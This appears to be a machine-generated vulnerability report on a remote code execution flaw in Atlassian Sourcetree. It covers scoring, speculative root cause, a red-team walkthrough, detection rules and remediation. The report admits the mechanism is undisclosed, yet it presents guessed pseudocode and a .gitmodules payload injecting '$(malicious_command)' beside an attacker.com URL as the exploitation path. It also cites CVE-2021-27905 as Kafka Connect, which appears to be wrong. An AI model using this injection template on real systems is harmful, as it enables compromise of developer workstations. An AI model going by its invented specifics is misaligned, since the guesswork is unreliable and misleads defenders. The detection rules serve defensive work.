CVE-2026-21575

Executive Summary

Business Impact: This vulnerability affects users of Atlassian Sourcetree, a popular Git GUI client used by developers and DevOps engineers across all industries. An attacker who can convince an authenticated user to perform a specific action (user interaction) can achieve Remote Code Execution (RCE) on the victim's workstation. This poses a severe risk to software supply chains, as a compromised developer machine can lead to the exfiltration of source code, credentials, and signing keys, or the injection of backdoors into production code.

Vulnerability Class & Attack Vector: This is a High-severity Remote Code Execution (RCE) vulnerability (CWE-94: Improper Control of Generation of Code). The attack vector is network-based, but exploitation requires the attacker to be authenticated to the Sourcetree application and requires user interaction. The specific mechanism is not detailed in the public description, but the high impact to confidentiality, integrity, and availability suggests arbitrary command execution.

Urgency Assessment: Despite a CVSS score of 7.1 (High), the EPSS probability is 0.0% as of the publication date. This indicates no observed exploitation in the wild. However, the high impact and the nature of the affected software (developer tools) make this a high-priority vulnerability for patching, especially in organizations with mature security programs.

Key Facts:

• Vendor: Atlassian
• Affected Software: Sourcetree for Mac and Sourcetree for Windows
• Affected Version: 3.4.11
• Fixed Version: 3.4.13
• Patch Status: Available (vendor advisory)

CISA KEV Status: Not listed on CISA's Known Exploited Vulnerabilities catalog as of 2026-07-21.

CVSS Breakdown & Threat Level

Qualitative Severity: High

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

Metric Decomposition:

• AV:N (Network): The vulnerability is exploitable remotely over the network. An attacker does not need physical or local network access to the victim's machine.
• AC:L (Low): The attack complexity is low. The attacker does not need to perform complex sequences of actions or bypass sophisticated protections to trigger the vulnerability.
• PR:L (Low): The attacker must be authenticated to the Sourcetree application. This implies the attacker has a valid user account or can trick the application into processing malicious input from an authenticated context.
• UI:R (Required): User interaction is required. The victim must perform a specific action, such as opening a malicious repository, clicking a crafted link, or importing a malicious configuration file.
• S:U (Unchanged): A successful exploit does not cause the compromised component (Sourcetree) to violate its security policy and impact other components. The scope remains unchanged.
• C:H / I:H / A:H (High): Successful exploitation leads to a complete compromise of confidentiality, integrity, and availability. The attacker can read, modify, or delete any data accessible to the user running Sourcetree and can execute arbitrary code, potentially leading to full system compromise.

EPSS Interpretation: An EPSS score of 0.0% means that based on current threat intelligence, the probability of this CVE being exploited in the wild within the next 30 days is negligible. This is typical for a newly published CVE with no known public exploit or active campaigns.

Historical Comparison: This vulnerability is similar in nature to other RCE flaws in developer tools, such as CVE-2021-27905 (Apache Kafka Connect) or CVE-2022-22965 (Spring4Shell), where a crafted request or file can lead to code execution. The key differentiator is the requirement for user interaction, which lowers the CVSS score but does not diminish the potential impact.

Temporal & Environmental Considerations:

• Temporal: With no known exploit and no patch bypass reported, the temporal score remains at 7.1.
• Environmental: Organizations with strict application whitelisting, endpoint detection and response (EDR), and network segmentation can reduce the environmental score. Conversely, environments where developers have administrative privileges or where Sourcetree is used to access critical production repositories will have a higher environmental risk.

Technical Deep Dive & Attack Mechanics

Step-by-Step Technical Explanation: The NVD description indicates this is an RCE vulnerability in Sourcetree versions 3.4.11. While the exact code path is not publicly disclosed, the attack likely involves the processing of a malicious Git repository or a crafted URL.

1. Initial Access: An attacker, authenticated to Sourcetree, crafts a malicious payload. This could be embedded in a Git repository (e.g., a .gitmodules file, a hook, or a specially crafted commit message) or a URL that Sourcetree processes.
2. User Interaction: The attacker tricks the victim into performing an action that triggers the processing of the malicious payload. This could be:
   • Cloning a malicious repository.
   • Opening a project file from an untrusted source.
   • Clicking a link that Sourcetree handles (e.g., sourcetree:// protocol handler).
3. Code Execution: Sourcetree's code fails to properly sanitize the input from the malicious payload. This allows the attacker to inject arbitrary commands or code that is executed by the Sourcetree process with the privileges of the logged-in user.
4. Post-Exploitation: The attacker can now execute arbitrary commands, install malware, exfiltrate data, or pivot to other systems on the network.

Root Cause Analysis: The root cause is a failure to properly validate or sanitize user-supplied input before using it in a context that allows code execution. This is a classic injection flaw (CWE-94). The developer likely assumed that input from an authenticated source (e.g., a Git repository) was safe, or they used a dangerous function (e.g., eval(), exec(), or a similar system call) without proper escaping.

Attack Surface:

• Network: The vulnerability is exploitable over the network, but the initial trigger requires user interaction. The attacker does not need to be on the same network segment.
• Protocols: The attack likely leverages Git protocol (for cloning/pulling) or a custom URL scheme (sourcetree://).
• Interfaces: The primary interface is the Sourcetree GUI itself, which processes user actions.

Pre-conditions:

• The victim must be running Sourcetree version 3.4.11.
• The attacker must be authenticated to the Sourcetree application (e.g., have a valid account on the same Bitbucket/GitHub instance or be able to push to a repository the victim will clone).
• The victim must perform a specific user interaction (e.g., clone a repository, open a file).

Attack Variants:

• Malicious Repository: An attacker pushes a malicious repository to a public or private Git hosting service. When a victim clones this repository, the vulnerability is triggered.
• Phishing Link: An attacker sends a phishing email with a link to a malicious repository or a sourcetree:// URL. If the victim clicks the link, Sourcetree opens and processes the malicious payload.

Why Standard Defenses May Fail:

• Network Firewalls: The attack traffic (cloning a repo) looks like legitimate Git traffic.
• Web Application Firewalls (WAFs): WAFs are not typically deployed to inspect Git traffic.
• Antivirus: The payload may be obfuscated or embedded in a legitimate-looking file, bypassing signature-based detection.
• User Training: Even security-aware users may be tricked into cloning a repository from a trusted-looking source.

Vulnerable vs. Patched Code Analysis

Side-by-Side Pseudocode:

Vulnerable (v3.4.11):

def process_repository_url(url):
    # Assume URL is safe because it comes from an authenticated source
    command = "git clone " + url
    os.system(command)  # Vulnerable to command injection

Patched (v3.4.13):

def process_repository_url(url):
    # Sanitize the URL to prevent command injection
    sanitized_url = sanitize_url(url)
    command = ["git", "clone", sanitized_url]
    subprocess.run(command, shell=False)  # Safe: uses list of arguments

Specific Component: The vulnerability likely resides in the component responsible for handling Git operations, such as cloning, fetching, or pulling repositories. The exact function name is not publicly known.

What the Patch Changes: The patch likely introduces input sanitization and uses safer API calls (e.g., subprocess.run with a list of arguments instead of os.system with a string) to prevent command injection.

Regression Considerations: The patch should be backward-compatible. However, if the sanitization is too aggressive, it might break legitimate use cases involving special characters in repository URLs or branch names. Thorough testing is recommended before deploying the patch.

Timeline & Disclosure History

• CVE Publication Date: 2026-07-21T18:16:57.170
• Estimated Discovery Timeline: The vulnerability was reported via Atlassian's Bug Bounty program. The exact discovery date is unknown, but it was likely reported several weeks or months before the public disclosure.
• Disclosure Process: The vulnerability was reported to Atlassian through their Bug Bounty program. Atlassian coordinated the fix and released version 3.4.13 to address the issue.
• Known Exploitation in the Wild: No known active exploitation as of 2026-07-21.
• CISA KEV Addition Date: Not applicable.

Threat Intelligence Context

Threat Actor Profile: This vulnerability is attractive to a wide range of threat actors, including:

• Nation-State Actors: For supply chain attacks, targeting developers to gain access to sensitive source code and infrastructure.
• Ransomware Operators: To gain initial access to a network by compromising a developer workstation.
• Cybercriminals: For data theft, credential harvesting, or deploying cryptominers.
• Script Kiddies: If a public exploit becomes available, it could be used in automated attacks.

Attack Campaign Context: As of the publication date, there are no known campaigns exploiting this specific CVE. However, the targeting of developer tools is a well-established trend (e.g., attacks on SolarWinds, Codecov, and various IDE plugins).

Geographic Targeting Patterns: No specific geographic targeting is known. The vulnerability affects any organization using Sourcetree globally.

Industry Verticals Most at Risk: All industries that employ software developers are at risk, including:

• Technology
• Finance
• Healthcare
• Government
• Defense

Connection to Similar Vulnerability Classes: This CVE is part of a broader class of vulnerabilities in developer tools that allow code execution through crafted repositories or project files. Examples include vulnerabilities in Git clients, IDE plugins, and package managers.

Exploitation & Lab Setup

Red Team Section

Lab Setup:

1. Environment: A virtual machine running macOS or Windows with Sourcetree version 3.4.11 installed.
2. Attacker Machine: A separate machine (Linux or macOS) with a Git server (e.g., GitLab, GitHub, or a simple git daemon).
3. Network: Both machines should be on the same network or the attacker machine should be accessible from the victim machine.

Prerequisites:

• Sourcetree 3.4.11 installed on the victim machine.
• An authenticated user account on the Git server that the victim will use to clone the repository.

Exploitation Walkthrough:

1. Craft Malicious Repository: On the attacker machine, create a Git repository with a malicious payload. The exact payload depends on the specific vulnerability, but it could be a crafted .gitmodules file or a hook.

   git init malicious-repo
   cd malicious-repo
   # Create a malicious .gitmodules file
   echo '[submodule "evil"]' > .gitmodules
   echo 'path = evil' >> .gitmodules
   echo 'url = https://attacker.com/evil.git; $(malicious_command)' >> .gitmodules
   git add .gitmodules
   git commit -m "Initial commit"
   

2. Host the Repository: Push the repository to a Git server accessible by the victim.
3. Deliver Payload: Send a phishing email or message to the victim, convincing them to clone the malicious repository.
4. Trigger Exploitation: The victim opens Sourcetree and clones the repository. The malicious payload is processed, and the attacker's command is executed.
5. Post-Exploitation: The attacker can now execute arbitrary commands on the victim's machine.

Expected Output: The attacker gains a reverse shell or executes a command that exfiltrates data or installs a backdoor.

Post-Exploitation: The attacker can:

• Steal SSH keys, AWS credentials, and other secrets.
• Modify source code to inject backdoors.
• Pivot to other systems on the network.
• Deploy ransomware.

Blue Team Section

Detection:

• Log Entries: Monitor Sourcetree logs for unusual error messages or unexpected command execution.
• Network Traffic: Look for outbound connections to unusual IP addresses or domains after a Sourcetree operation.
• Endpoint Behavioral Indicators:
  • Unexpected child processes spawned by Sourcetree.exe or Sourcetree.app.
  • File system modifications in sensitive directories (e.g., ~/.ssh, ~/.aws).
  • Registry modifications (Windows) or plist modifications (macOS).

Indicators of Compromise (IOCs)

No confirmed IOCs available — the following patterns are illustrative of exploitation attempts:

Network IOCs:

• Outbound connections to IP addresses or domains not typically associated with Git hosting services.
• Unusual Git traffic patterns, such as cloning a repository with a very large number of submodules.

HTTP Request Patterns:

• Requests to Git servers with unusual URL parameters or headers that contain shell metacharacters (e.g., ;, |, `).

File System Artifacts:

• Unexpected files in the Sourcetree installation directory or user data directory.
• Modified configuration files (e.g., .gitconfig).

Process Execution Anomalies:

• cmd.exe, powershell.exe, or /bin/bash spawned by Sourcetree.exe or Sourcetree.app.

Log Entries:

• Sourcetree logs containing error messages related to command execution or file parsing.

STIX-like IOC List:

Detection Engineering

YARA Rule

rule CVE-2026-21575_Detection {
    meta:
        description = "Detects exploitation of CVE-2026-21575 in Sourcetree"
        author = "Valters IT Hub"
        date = "2026-07-21"
        reference = "https://www.valtersit.com/cve/cve-2026-21575"
    strings:
        $s1 = "git clone" ascii wide nocase
        $s2 = "submodule" ascii wide nocase
        $s3 = "url =" ascii wide nocase
        $s4 = ";" ascii wide
        $s5 = "|" ascii wide
        $s6 = "`" ascii wide
    condition:
        all of ($s1, $s2, $s3) and 1 of ($s4, $s5, $s6)
}

Sigma Rule (SIEM)

title: CVE-2026-21575 Sourcetree RCE Exploitation Detection
id: 1a531480-f006-4320-8114-08a3821019d9
status: experimental
description: Detects exploitation attempts targeting CVE-2026-21575 in Sourcetree
author: Valters IT Hub
date: 2026-07-21
references:
    - https://www.valtersit.com/cve/cve-2026-21575
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith: '\Sourcetree.exe'
        Image|endswith:
            - '\cmd.exe'
            - '\powershell.exe'
            - '\wscript.exe'
            - '\cscript.exe'
    condition: selection
falsepositives:
    - Legitimate use of command line tools by Sourcetree for Git operations (e.g., running git commands)
level: high

Suricata IDS Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"CVE-2026-21575 Sourcetree RCE - Suspicious Git Clone"; flow:to_server,established; content:"git clone"; http_uri; pcre:"/(?:;|\||`)/Ri"; classtype:attempted-user; sid:1000001; rev:1;)

Elastic (EQL) Query

process where event.type == "start" and
  process.parent.name == "Sourcetree.exe" and
  process.name in ("cmd.exe", "powershell.exe", "wscript.exe", "cscript.exe")

Splunk SPL Query

index=windows sourcetype=WinEventLog:Security EventCode=4688
| search ParentProcessName="*\\Sourcetree.exe"
| search NewProcessName="*\\cmd.exe" OR NewProcessName="*\\powershell.exe"
| table _time, User, ParentProcessName, NewProcessName, CommandLine

Wazuh Rule

<group name="sourcetree,">
  <rule id="100001" level="12">
    <if_group>syscheck</if_group>
    <field name="file">\.gitmodules</field>
    <match>ossec: alert</match>
    <description>Sourcetree .gitmodules file modified - possible CVE-2026-21575 exploitation</description>
  </rule>
</group>

Remediation & Mitigation

Immediate Actions (0-24 hours):

1. Patch: Upgrade Sourcetree for Mac and Sourcetree for Windows to version 3.4.13 or later.
   • Mac: Download from the Sourcetree download center.
   • Windows: Download from the Sourcetree download center.
2. Compensating Controls (if patching is not immediately possible):
   • Restrict Sourcetree usage to only trusted repositories.
   • Implement application whitelisting to prevent Sourcetree from executing untrusted binaries.
   • Enhance endpoint detection and response (EDR) monitoring for suspicious child processes spawned by Sourcetree.
3. Network-Level Mitigation:
   • Block outbound connections from Sourcetree to untrusted IP addresses or domains.
   • Use a web proxy to inspect Git traffic for malicious payloads.

Short-term (1-7 days):

1. Configuration Hardening:
   • Disable automatic cloning of repositories from untrusted sources.
   • Educate users about the risks of cloning repositories from unknown or untrusted sources.
2. Monitoring Implementation:
   • Deploy the detection rules provided in this report.
   • Monitor Sourcetree logs for unusual activity.
3. Vulnerability Scanning:
   • Use a vulnerability scanner to identify all instances of Sourcetree 3.4.11 in the environment.

Long-term:

1. Architecture Changes:
   • Consider using a dedicated, isolated development environment for sensitive projects.
   • Implement a software composition analysis (SCA) tool to track dependencies and vulnerabilities in developer tools.
2. Security Control Improvements:
   • Implement a robust patch management process for all software, including developer tools.
   • Conduct regular security awareness training for developers, focusing on social engineering and supply chain risks.
3. Developer Training:
   • Train developers on secure coding practices and the risks of using untrusted input in dangerous functions.

Validation:

• Check the Sourcetree version: Sourcetree -> About Sourcetree (Mac) or Help -> About Sourcetree (Windows).
• The version should be 3.4.13 or later.
• Run a vulnerability scanner to confirm the patch has been applied.

References & Resources

• NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-21575
• CVE.org: https://www.cve.org/CVERecord?id=CVE-2026-21575
• Vendor advisory: See vendor security page
• OSV: https://osv.dev/vulnerability/CVE-2026-21575 (if applicable)
• Sourcetree Download Archives: https://www.sourcetreeapp.com/download-archives
• Related CWE: https://cwe.mitre.org/data/definitions/94.html
• MITRE ATT&CK: https://attack.mitre.org/techniques/T1203/

Report generated by Valters IT Hub Neural Engine v25 | 2026-07-21 | https://www.valtersit.com/cve/cve-2026-21575